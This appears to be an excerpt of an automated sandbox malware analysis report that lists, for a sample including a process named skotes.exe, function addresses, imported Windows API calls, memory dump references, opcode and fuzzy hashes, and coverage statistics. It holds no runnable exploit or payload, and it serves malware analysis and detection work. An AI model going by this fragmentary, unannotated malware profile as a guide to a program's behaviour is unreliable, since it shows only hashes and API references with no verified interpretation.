Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: 1a10f9211126885affd788d97b66146ede635b6a9d5915ef6d4270b1cbf7c321
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: EEE08C72A21228EBCB14DB9CC904A8AFBECEB89B00B654496F641D3150C2B0DE00C7D0

Function 01002EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 01002F5F
GetCurrentThreadId.KERNEL32 ref: 01002F7E
__Mtx_unlock.LIBCPMT ref: 01002FCC
__Cnd_broadcast.LIBCPMT ref: 01002FE3
__Mtx_unlock.LIBCPMT ref: 010030F5
GetCurrentThreadId.KERNEL32 ref: 01003132
__Mtx_unlock.LIBCPMT ref: 0100319B

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 8569d30358d54bc862452813c956dbf0b5a791348694d3ac6bd720ca88d16492
Instruction ID: a23ff4dd0dfdd3bed4970f50970ae4c111266026457aa33b3b4a27cfaf81a08c
Opcode Fuzzy Hash: 8569d30358d54bc862452813c956dbf0b5a791348694d3ac6bd720ca88d16492
Instruction Fuzzy Hash: A6A1D370A012169FFB13DFA9C9447AAB7F8FF19310F048569E895DB281EB35E504CB91

Function 0103CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0103CC66

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: fcf741dab90a7c9a8b8014a0fb97bcaf417b50af5d35b138200cdc2cb3b81939
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: EFB1463290424A9FEB15DF68C9807FEBFE9EF95340F1481ABE991FB241D6359901CB60

Function 0101BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0101BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0101BBE4
_xtime_get.LIBCPMT ref: 0101BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0101BC13

Memory Dump Source

Source File: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, Offset: 01000000, based on PE: true

Associated: 00000006.00000002.3086270686.0000000001000000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086296651.0000000001062000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086377192.0000000001069000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086402742.000000000106B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086432538.0000000001075000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086467334.0000000001076000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086498617.0000000001077000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086623774.00000000011D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086654959.00000000011DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086687251.00000000011F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086749738.00000000011FC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086780106.0000000001200000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086811283.0000000001201000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086840737.0000000001203000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086874868.0000000001226000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086903924.0000000001227000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086931868.0000000001228000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086957746.0000000001229000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086985776.000000000122A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087048005.0000000001254000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087075910.0000000001259000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087102973.0000000001260000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087136032.0000000001261000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087162586.0000000001262000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087192004.0000000001267000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087227349.0000000001268000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087252532.000000000126E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087280897.0000000001276000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087307345.0000000001278000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087334634.0000000001279000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087360269.000000000127C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087396002.0000000001283000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087430158.0000000001284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087455830.0000000001286000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087482417.0000000001288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087514254.0000000001289000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087543463.000000000128B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087572838.0000000001295000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.0000000001297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087602561.00000000012D5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087676345.0000000001301000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087706403.0000000001302000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087735524.0000000001303000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087760345.0000000001307000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087787745.0000000001309000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087823033.0000000001317000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3087853147.0000000001318000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1000000_QA4B92LG0Q3PL6TE6NK36C44P92RH.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 80334508c34ee4004fb9db7632ea7a86357fca3feb7ebab51c306cfe3e6c06bc
Instruction ID: b1d4e4124335c15e2ff9e66b8dd82b269d6f1723d670f0415b032fda5c572da2
Opcode Fuzzy Hash: 80334508c34ee4004fb9db7632ea7a86357fca3feb7ebab51c306cfe3e6c06bc
Instruction Fuzzy Hash: A7213171A0021AAFEF11EFA4D9819FEB7B9EF18610F100459F541B7254DB39AD019BA1

Analysis Process: skotes.exePID: 5932, Parent PID: 3472COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1856
Total number of Limit Nodes:	15

Executed Functions

Function 0078652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0078652A,?,?,?,?,?,00787661), ref: 00786566

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: f157244f336e0e496cab7c9af2f9f08b4c6b7dabe57148ac43b019b78fe0a30b
Instruction ID: 1c4b390c692d5f395d0567135ad34c4ef9bc2415c1a1a2aea1ac609fd31fdc46
Opcode Fuzzy Hash: f157244f336e0e496cab7c9af2f9f08b4c6b7dabe57148ac43b019b78fe0a30b
Instruction Fuzzy Hash: CBE0EC31195548FBCF257B58CC0DA883B6AEF51751F405814F9049A63ACB29EDA2CB80

Function 00759BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
